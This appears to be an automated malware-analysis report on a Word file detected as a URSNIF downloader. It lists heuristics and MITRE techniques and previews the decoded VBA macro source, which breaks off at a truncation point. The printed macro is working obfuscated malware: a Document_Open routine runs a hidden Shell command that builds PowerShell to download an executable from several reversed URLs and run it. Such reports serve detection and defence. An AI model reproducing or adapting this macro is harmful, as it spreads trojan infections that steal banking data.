MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059 Command and Scripting Interpreter
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute arbitrary commands. This indicates an attempt to download and run a secondary payload. The ClamAV detection name 'Doc.Downloader.URSNIF-6729855-3' strongly suggests a downloader functionality, likely for the URSNIF banking trojan.
Heuristics 5
-
ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6085 bytes |
SHA-256: 1405aa48867e9ab02e74dc378d4e75c1c43bc8ac09edf665f04e520babf39f55 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "DScSFWmSd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Second "jB" + "V" + "P" + "pY"
Second "smDijYr" + "498506569" + "199925522" + "IlIv"
Second "8096" + "2801" + "l" + "XzZ"
Second "O" + "YtiFFjwRUtwX"
Second "t" + "wmPC" + "ArfhE" + "5913"
Second "108297814" + "tlpZmqaSbIGD" + "uQbZWwKz" + "288079395"
Shell JnIwAcXkDF + ltzXTSIt + shBsvo, CStr(vbHide)
Second "ip" + "R" + "qJdkao" + "LdYCwXAXjYT"
Second "BrYuOihP" + "1872" + "286084769" + "W"
End Sub
Attribute VB_Name = "djYMwnQZik"
Function JnIwAcXkDF()
On _
Error _
Resume _
Next
Second "iRiSRcNmEzkC" + "DmMjJO" + "3155" + "HGwZJGVjlYRlh"
Second "3894" + "73969938" + "5745" + "UEZcVNlOS"
jfupX = Format(Chr(13 + 16 + 18 + 11 + 41)) + "m" + "d " + "/V" + "/" + Format(Chr(9 + 10 + 12 + 7 + 29)) + Format(Chr(4 + 5 + 5 + 3 + 17)) + "se" + "t" + " ^un=" + " " + " ^ ^ ^" + " " + "^ " + " ^ ^ " + "^ "
Second "3135" + "1444"
XszRsqnN = "^" + " ^}" + "}{^h" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "^t" + "a" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "};^k^" + "aer^b^;" + "hNQ$ m^" + "e" + "^" + "tI-"
Second "YVkuvh" + "5609"
Second "F" + "8511" + "7522" + "jB"
Fnofi = "ek^ov" + "nI;" + ")hNQ" + "^$ " + ",m^j^a" + "^$(" + "e^li^F" + "d^a^o" + "^l" + "n^wo^"
Second "wiaVNODsP" + "120023095"
Second "ni" + "SEJLGhB" + "fzUHikhFk" + "6915"
Second "NLQ" + "GAvwjWMj"
tcYUi = "D" + ".VAJ^$" + "^{^yr" + "t^" + "{)" + "^Qa^i" + "^$ n^i^" + " m^ja" + "^$(^h" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "a" + "^er^" + "o^f;'^"
Second "zrz" + "16939862"
Second "UMdU" + "4337"
KdLDSJmQQBi = "e" + "x^e^.'+" + "^z^" + "B^z$+^" + "'^\'^+" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "^il^b^" + "u^p" + "^:vne^" + "$^=" + "^hN^" + "Q$^;^'" + "0^52" + "^' ^=^"
Second "G" + "XdGUwPGYDE"
Second "1888" + "CK" + "k" + "JTSZ"
Second "4176" + "174622993"
Second "ar" + "RJ" + "jMS" + "D"
qXwkdMuzMCI = " ^z^" + "B^z^$;)" + "^" + "'^@'(^" + "ti^lpS." + "'E6P^" + "1^" + "J^1" + "Y" + "/^" + "mo" + Format(Chr(13 + 16 + 18 + 11 + 41))
JnIwAcXkDF = jfupX + XszRsqnN + Fnofi + tcYUi + KdLDSJmQQBi + qXwkdMuzMCI
Second "390739740" + "WAQ" + "HiH" + "4145"
Second "iR" + "U" + "zN" + "2541"
Second "386758781" + "435859074"
End Function
Function ltzXTSIt()
On _
Error _
Resume _
Next
Second "5891" + "380088353" + "256706086" + "534720716"
owBYP = ".x" + "r" + "sha/" + "/" + ":p^" + "t" + "t^h" + "@" + "6VTdy" + "y^x/r" + "b.^m"
Second "469443791" + "5820" + "447736913" + "520975922"
Second "9380" + "4185"
Second "ITBVtRVZotphpQ" + "wzANukuJUt" + "o" + "125622862"
Second "XXFSAB" + "7054" + "c" + "ucJi"
azmBVtWXC = "^o" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "^." + "t^lu" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "omso" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "//" + ":p^t" + "th^" + "@^1" + Format(Chr(9 + 10 + 12 + 7 + 29)) + "J^" + "gz^M3^" + "2l" + "f/"
Second "4810" + "186905810"
Second "iv" + "hTSaMBu"
Second "3757" + "8772936" + "SO" + "IoCUhON"
Second "4055" + "bodZdK" + "80243354" + "Rb"
Second "aXopVCY" + "m" + "3033" + "362418012"
uvYsRs = "z^t" + "^.^o" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "." + "enil^" + "tn" + "^orf" + "//"
Second "5724" + "RCjXlIivw" + "NSVBPnBImnCD" + "169773230"
nSGAtvhL = ":^ptth" + "^@" + "v^q" + "j4l" + "N" + "i^W/tn" + "e^tn^o" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "-pw/" + "m^o" + Format(Chr(13 + 16 + 18 + 11 + 41)) + "^." + "a^t"
Second "bcUwowTz" + "tNsAdKbUN" + "zOuBtInHYoQCkd" + "iPHimbhB"
Second "322021529" + "11413413" + "APDSdr" + "VBCPuoP"
Second "r" + "hbXAAIQk" + "kNd" + "zrD"
zdwoHzBZv = "^in" + "^a^" + "w^g" + "n^" + "atn^e" + "^tle^ki" + "tr" + "^a//:^p"
Second "bpBouLjq" + "PIu" + "6504" + "1074"
Second "mb" + "342785519" + "SMli"
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.